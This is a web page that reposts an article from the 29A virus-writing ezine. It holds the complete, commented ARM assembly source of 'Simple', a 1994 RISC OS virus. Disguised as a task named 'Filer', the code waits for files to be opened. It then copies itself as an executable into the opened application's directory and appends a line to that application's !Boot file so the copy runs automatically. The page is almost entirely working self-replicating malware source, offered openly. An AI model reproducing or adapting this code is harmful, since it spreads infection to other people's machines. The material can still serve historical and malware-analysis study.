Copy Link
Add to Bookmark
Report

29A Issue 03 05 02

eZine's profile picture
Published in 
29A
 · 4 years ago

  

; Simple, a example virus
; Copyright (C) 1994 The Dark Lord

.start
B wimp_init ;Jump over copyright message

DCB 10,10,"Simple, (C) 1994 The Dark Lord",10,10
ALIGN

.wimp_init
MOV R0,#200 ;Minimum WIMP is 2.00
LDR R1,task ;Load magic word
ADR R2,taskname ;Pointer to our task's name
SWI XWimp_Initialise ;Init the wimp
SWIVS XOS_Exit ;Just incase of error
STR R1,taskhandle ;store the task handle

.poll_loop
MOV R0,#0 ;Poll mask
ADR R1,pollblock ;Poll block
SWI XWimp_Poll ;Poll the wimp...
TEQ R0,#17 ;Is the poll message wanted?
TEQNE R0,#18 ;Is it the other message wanted?
BNE poll_loop ;It is not relevent, branch back to top
TEQ R0,#17 ;User_Message
TEQNE R0,#18 ;User_MessageRecorded
BEQ user_message
B poll_loop ;Back to the top just incase

.user_message
LDR R0,[r1,#16] ;Get message number from block
TEQ R0,#5 ;Message_DataOpen (5)
TEQNE R0,#0 ;Message_Quit (0)
BNE poll_loop ;Not an interesting message, return to poll

TEQ R0,#5 ;Message_DataOpen (5)
BEQ infect ;If so, try and infect
TEQ R0,#0 ;Message_Quit
BEQ closedown ;If so, close down wimp and quit
B poll_loop ;Just incase

.closedown
LDR R0,taskhandle ;Load our task's handle
LDR R1,task ;Load the magic word
SWI XWimp_CloseDown ;Close down wimp task
SWI XOS_Exit ;And quit program

.infect
ADR R0,pollblock ;Get the address of poll block
ADD R0,R0,#44 ;Go to the path of file
BL count_len ;Count the string's length, into R11
ADD R1,R0,R11 ;Add to pointer to get to end of pathname
STR R1,place ;Save place for later reference

MVN R3,#0 ;Virus filename counter
ADR R4,filename ;Address of string to copy
.copy_filename1
ADD R3,R3,#1 ;Add 1 to counter
LDRB R5,[R4,R3] ;Load a byte from original string
STRB R5,[R1,R3] ;And write it on the end of the path
CMP R5,#0 ;Is it a null?
BNE copy_filename1 ;No, copy next character

ADR R0,pollblock ;save_code expects filename in R10
ADD R10,R0,#44 ;so reextract it from pollblock
BL save_code ;Save the code in the file pointed to

MVN R3,#0 ;Boot filename counter
ADR R4,boot ;Address of string to copy
LDR R0,place ;Get the place again
.copy_filename2
ADD R3,R3,#1 ;Add one to counter
LDRB R5,[R4,R3] ;Get next byte of original string
STRB R5,[R0,R3] ;And save the byte back
CMP R5,#0 ;Is it the null at the end?
BNE copy_filename2 ;No, copy next chacater

ADR R0,pollblock ;boot_line expects filename in R10
ADD R10,R0,#44 ;so reextract it from pollblock
BL add_boot_line ;save the boot line to !Boot file

B poll_loop ;Branch back to poll loop.

.count_len
MVN R11,#0 ;counter/offset pointer
.count_loop
ADD R11,R11,#1 ;Add one to our counter/offset pointer
LDRB R10,[R0,R11] ;Load a byte from R0+R11
CMP R10,#0 ;Compare byte will null terminator
BNE count_loop ;Not a null, get next character and count

MOV PC,R14 ;Return to calling code. R11=Length

.save_code
MOV R0,#10 ;Save memory as file
MOV R1,R10 ;Move filename from R10 to R1
MOV R2,#&FF0 ;Absolute executable file type
ADD R2,R2,#8 ;&FF8 won't fit in the instrucion, so add 8
ADR R4,start ;Start of code
ADR R5,end ;End of code
SWI XOS_File ;Save the code
MOV PC,R14 ;Return to calling code.

.add_boot_line
MOV R0,#&C0 ;Open file
MOV R1,R10 ;Move filename from R10 to R1
SWI XOS_Find ;Open the file, handle in R0
MOV R9,R0 ;Move handle somewhere safe

MOV R0,#2 ;Read Extent
MOV R1,R9 ;File handle
SWI XOS_Args ;Get the extend of the file into R2

MOV R0,#1 ;Set pointer
SWI XOS_Args ;R2 is already set from above

MVN R2,#0 ;Counter of bytes written
MOV R1,R9 ;Get the file handle from R9
ADR R3,load_line ;Address of line to add
.put_loop
ADD R2,R2,#1 ;Add 1 to the counter
LDRB R0,[R3,R2] ;Load the next byte
SWI XOS_BPut ;And write the byte to the file
CMP R2,#18 ;Is it the last character yet?
BNE put_loop ;If not, loop again

MOV R0,#0 ;Close File
MOV R9,R1 ;Move file handle from R9 to R1
SWI XOS_Find ;Close the file

MOV PC,R14 ;Otherwise, return to calling code.

.task
DCB "TASK"
.taskname
DCB "Filer",0
.load_line
DCB 10,60,"Obey$Dir",62,".Simple",10,0
.filename
DCB ".Simple",0
.boot
DCB ".!Boot",0
ALIGN
.taskhandle
DCD -1
.place
DCD -1
.end
.pollblock

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Francesco's profile picture
Francesco Arca (@Francesco)
14 Nov 2024
Congratulations :)

guest's profile picture
@guest
12 Nov 2024
It is very remarkable that the period of Atlantis’s destruction, which occurred due to earthquakes and cataclysms, coincides with what is co ...

guest's profile picture
@guest
12 Nov 2024
Plato learned the legend through his older cousin named Critias, who, in turn, had acquired information about the mythical lost continent fr ...

guest's profile picture
@guest
10 Nov 2024
الاسم : جابر حسين الناصح - السن :٤٢سنه - الموقف من التجنيد : ادي الخدمه - خبره عشرين سنه منهم عشر سنوات في كبرى الشركات بالسعوديه وعشر سنوات ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
6 Nov 2024
Thank you! I've corrected the date in the article. However, some websites list January 1980 as the date of death.

guest's profile picture
@guest
5 Nov 2024
Crespi died i april 1982, not january 1980.

guest's profile picture
@guest
4 Nov 2024
In 1955, the explorer Thor Heyerdahl managed to erect a Moai in eighteen days, with the help of twelve natives and using only logs and stone ...

guest's profile picture
@guest
4 Nov 2024
For what unknown reason did our distant ancestors dot much of the surface of the then-known lands with those large stones? Why are such cons ...

guest's profile picture
@guest
4 Nov 2024
The real pyramid mania exploded in 1830. A certain John Taylor, who had never visited them but relied on some measurements made by Colonel H ...

guest's profile picture
@guest
4 Nov 2024
Even with all the modern technologies available to us, structures like the Great Pyramid of Cheops could only be built today with immense di ...
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT